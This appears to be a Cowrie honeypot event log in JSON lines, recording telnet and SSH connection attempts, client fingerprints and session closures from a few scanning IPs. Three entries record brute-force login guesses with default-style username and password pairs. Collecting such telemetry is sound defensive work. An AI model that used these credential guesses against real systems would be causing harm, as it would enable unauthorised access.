{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.702703Z","src_ip":"176.65.139.103","session":"e440099305c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41718,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc8dc2cb89a","protocol":"telnet","message":"New connection: 108.61.242.114:41718 (10.17.0.5:23) [session: 7dc8dc2cb89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.909072Z"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.984261Z","src_ip":"176.65.139.103","session":"e440099305c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36138,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a1359b8585","protocol":"telnet","message":"New connection: 185.111.235.80:36138 (10.17.0.5:23) [session: 94a1359b8585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:57.337212Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51399837c5a","protocol":"telnet","message":"New connection: 185.111.235.80:37216 (10.17.0.5:23) [session: a51399837c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:57.571115Z"}
{"eventid":"cowrie.session.closed","duration":30.750229358673096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:57.576448Z","src_ip":"108.61.242.114","session":"1e7cf1bfb84c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:57.910558Z","src_ip":"147.185.132.189","session":"fda935c71ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.130519Z","src_ip":"176.65.139.103","session":"e440099305c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.125985145568848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.203647Z","src_ip":"108.61.242.114","session":"86da685eca4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821954488754272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.366813Z","src_ip":"108.61.242.114","session":"90ef88fbcbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa8a8bfb9bc","protocol":"telnet","message":"New connection: 185.111.235.80:40700 (10.17.0.5:23) [session: caa8a8bfb9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.485516Z"}
{"eventid":"cowrie.session.closed","duration":30.88104557991028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.680539Z","src_ip":"108.61.242.114","session":"0253ffb9d4b5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:58.979174Z","src_ip":"147.185.132.189","session":"fda935c71ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.60288214683533,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:01.924564Z","src_ip":"108.61.242.114","session":"20785eb314b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54808,"dst_ip":"10.17.0.5","dst_port":23,"session":"70091b75d938","protocol":"telnet","message":"New connection: 108.61.242.114:54808 (10.17.0.5:23) [session: 70091b75d938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:01.931744Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc4846df2c4","protocol":"telnet","message":"New connection: 108.61.242.114:54812 (10.17.0.5:23) [session: 4bc4846df2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:01.937071Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54826,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f2960824ea","protocol":"telnet","message":"New connection: 108.61.242.114:54826 (10.17.0.5:23) [session: 46f2960824ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:01.944060Z"}
{"eventid":"cowrie.session.closed","duration":32.134642601013184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:01.949645Z","src_ip":"108.61.242.114","session":"7eee5cd18c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00438141822815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:02.194476Z","src_ip":"108.61.242.114","session":"9cfc1d674165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.650861501693726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:02.985515Z","src_ip":"108.61.242.114","session":"41d6d651aec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6b1b1b6d32","protocol":"ssh","message":"New connection: 176.65.139.103:53754 (10.17.0.5:22) [session: 3f6b1b1b6d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:03.463336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:03.507109Z","src_ip":"176.65.139.103","session":"3f6b1b1b6d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:03.591722Z","src_ip":"176.65.139.103","session":"3f6b1b1b6d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:03.894748Z","src_ip":"176.65.139.103","session":"3f6b1b1b6d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35966,"dst_ip":"10.17.0.5","dst_port":23,"session":"091113e4164b","protocol":"telnet","message":"New connection: 185.111.235.80:35966 (10.17.0.5:23) [session: 091113e4164b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:04.091550Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46928,"dst_ip":"10.17.0.5","dst_port":23,"session":"53debc89b23e","protocol":"telnet","message":"New connection: 185.111.235.80:46928 (10.17.0.5:23) [session: 53debc89b23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:04.206433Z"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.879359Z","src_ip":"147.185.132.189","session":"fda935c71ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70267605781555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.884333Z","src_ip":"108.61.242.114","session":"6a5de0392325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54848,"dst_ip":"10.17.0.5","dst_port":23,"session":"1467784f3d61","protocol":"telnet","message":"New connection: 108.61.242.114:54848 (10.17.0.5:23) [session: 1467784f3d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.888841Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"5335f2b80ce5","protocol":"telnet","message":"New connection: 108.61.242.114:54850 (10.17.0.5:23) [session: 5335f2b80ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.893005Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3763f2620c","protocol":"telnet","message":"New connection: 108.61.242.114:54856 (10.17.0.5:23) [session: eb3763f2620c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.897477Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54858,"dst_ip":"10.17.0.5","dst_port":23,"session":"72bf78ec87aa","protocol":"telnet","message":"New connection: 108.61.242.114:54858 (10.17.0.5:23) [session: 72bf78ec87aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.918258Z"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:07.988818Z","src_ip":"176.65.139.103","session":"3f6b1b1b6d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.966660022735596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:08.066046Z","src_ip":"108.61.242.114","session":"c3ade4657629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78281807899475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:08.888556Z","src_ip":"185.111.235.80","session":"5440f7d40463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003283739089966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:09.085288Z","src_ip":"108.61.242.114","session":"e0c90be54100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57306,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa208b47a4e","protocol":"telnet","message":"New connection: 185.111.235.80:57306 (10.17.0.5:23) [session: 2fa208b47a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:09.102026Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d801d2ea40","protocol":"telnet","message":"New connection: 108.61.242.114:54840 (10.17.0.5:23) [session: 87d801d2ea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:09.203069Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":35930,"dst_ip":"10.17.0.5","dst_port":23,"session":"58200a18205e","protocol":"telnet","message":"New connection: 108.61.242.114:35930 (10.17.0.5:23) [session: 58200a18205e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:09.971719Z"}
{"eventid":"cowrie.session.closed","duration":30.531517505645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:10.363333Z","src_ip":"108.61.242.114","session":"f0a928d63563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53794,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2b6b084b14","protocol":"ssh","message":"New connection: 176.65.139.103:53794 (10.17.0.5:22) [session: ab2b6b084b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:10.978469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:10.983124Z","src_ip":"176.65.139.103","session":"ab2b6b084b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:11.065499Z","src_ip":"176.65.139.103","session":"ab2b6b084b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:11.315518Z","src_ip":"176.65.139.103","session":"ab2b6b084b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.73721218109131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:11.835211Z","src_ip":"185.111.235.80","session":"d92d4712a5ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"930ac2f1258b","protocol":"telnet","message":"New connection: 185.111.235.80:40358 (10.17.0.5:23) [session: 930ac2f1258b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:11.935098Z"}
{"eventid":"cowrie.session.closed","duration":30.60204553604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:12.038844Z","src_ip":"185.111.235.80","session":"68e0b059e7f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:12.402910Z","src_ip":"176.65.139.103","session":"ab2b6b084b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"877f40be1a0a","protocol":"telnet","message":"New connection: 185.111.235.80:49552 (10.17.0.5:23) [session: 877f40be1a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:13.953681Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fbea1610745","protocol":"telnet","message":"New connection: 108.61.242.114:35934 (10.17.0.5:23) [session: 6fbea1610745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:14.383150Z"}
{"eventid":"cowrie.session.closed","duration":31.12086248397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:14.573382Z","src_ip":"108.61.242.114","session":"e069272aa22a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04638981819153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:15.186357Z","src_ip":"108.61.242.114","session":"b32e443f87da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023319721221924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:16.007054Z","src_ip":"108.61.242.114","session":"8b2d21c34536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627732276916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:16.045515Z","src_ip":"108.61.242.114","session":"80aaaba03542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620790243148804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:16.082067Z","src_ip":"108.61.242.114","session":"8401b0efc2d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904369592666626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:16.788039Z","src_ip":"108.61.242.114","session":"eec32e162518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":35936,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4fb9274cc5e","protocol":"telnet","message":"New connection: 108.61.242.114:35936 (10.17.0.5:23) [session: e4fb9274cc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:17.166255Z"}
{"eventid":"cowrie.session.closed","duration":31.189136266708374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:17.294128Z","src_ip":"108.61.242.114","session":"c340b7f4625e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166080474853516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:17.550585Z","src_ip":"108.61.242.114","session":"4a7f985d5d7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44069766998291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:17.746781Z","src_ip":"185.111.235.80","session":"d33b87d89a56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73777675628662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:17.966842Z","src_ip":"108.61.242.114","session":"da143e47c3c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873255252838135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.353327Z","src_ip":"108.61.242.114","session":"f3e65b2545fe","protocol":"telnet"}
